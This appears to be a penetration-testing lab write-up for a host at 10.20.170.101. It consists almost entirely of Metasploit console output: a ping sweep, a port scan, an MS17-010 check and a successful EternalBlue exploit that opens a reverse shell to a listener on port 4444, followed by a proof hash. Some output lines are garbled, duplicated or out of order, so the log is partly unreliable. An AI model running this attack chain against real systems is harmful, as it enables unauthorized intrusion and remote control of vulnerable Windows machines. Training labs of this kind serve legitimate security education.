## 10.20.170.101: THE GAME CONTINUES

## Hash file:

```
C:\Users\Administrator.TSULIK-0344\Desktop>type proof.txt
type proof.txt
499693592e0e4bcf87887cd60d6c5726
```

## Attack path:

```
meterpreter > run netenum -ps -r 10.20.170.0/24
 [*] Network Enumerator Meterpreter Script
 [*] Log file being saved in /root/.msf4/logs/scripts/netenum/10.20.160.125
 [*] Performing ping sweep for IP range 10.20.170.0/24
 [*]
                          10.20.170.100 host found
 [*]
                          10.20.170.101 host found
 [*]
                          10.20.170.104 host found
 [*]
                          10.20.170.123 host found
msf5 auxiliary(scanner/portscan/tcp) > run
[+] 10.20.170.101:
                                                                                 - 10.20.170.101:135 - TCP OPEN
[+] 10.20.170.101:
                                                                                  - 10.20.170.101:139 - TCP OPEN
[+] 10.20.170.101:
                                                                                  - 10.20.170.101:445 - TCP OPEN
                                                                                  - 10.20.170.101:3389 - TCP OPEN
[+] 10.20.170.101:
  `C[*] 10.20.170.101:

    Caught interrupt from the console...

[*] Auxiliary module execution completed
msf5 auxiliary(sc

    [+] 10.20.170.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
    [*] 10.20.170.101:445 - Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.20.170.101
                                                                                  lue) > set rhosts 10.20.170.101
msf5 exploit(
msis exploit(windows/smb/msis_olv_eternalstag) > set
rhosts => 10.20.170.101
msf5 exploit(windows/smb/msis_010_eternalblue) > run
  *] Started reverse TCP handler on 10.20.150.106:4444
[*] Started reverse TCP handler on 10.20.150.106:4444
[*] 10.20.170.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.20.170.101:445 - Connecting to target for exploitation.
[+] 10.20.170.101:445 - Connection established for exploitation.
[+] 10.20.170.101:445 - Target 0S selected valid for 0S indicated by SMB reply
[*] 10.20.170.101:445 - CORE raw buffer dump (38 bytes)
[*] 10.20.170.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.20.170.101:445 - 0x00000000 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 10.20.170.101:445 - 0x00000002 50 61 63 6b 20 31 Pack 1
[+] 10.20.170.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.20.170.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.20.170.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
     10.20.170.101:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
10.20.170.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
10.20.170.101:445 - Trying exploit with 12 Groom Allocations.
10.20.170.101:445 - Sending all but last fragment of exploit packet
10.20.170.101:445 - Starting non-paged pool grooming
10.20.170.101:445 - Sending SMBv2 buffers
10.20.170.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
10.20.170.101:445 - Sending final SMBv2 buffers.
10.20.170.101:445 - Sending final SMBv2 buffers.
10.20.170.101:445 - Receiving response from exploit packet!
10.20.170.101:445 - Receiving response from exploit packet
10.20.170.101:445 - Sending last fragment of exploit packet
10.20.170.101:445 - Sending exploit packet
10.20.170.101:445 - Triggering free of corrupted successfully (0xC000000D)!
10.20.170.101:445 - Triggering free of corrupted buffer.
Command shell session 2 opened (10.20.150.106:4444 -> 10.20.170.101:49492) at 2019-08-01 22:18:37 -0400
```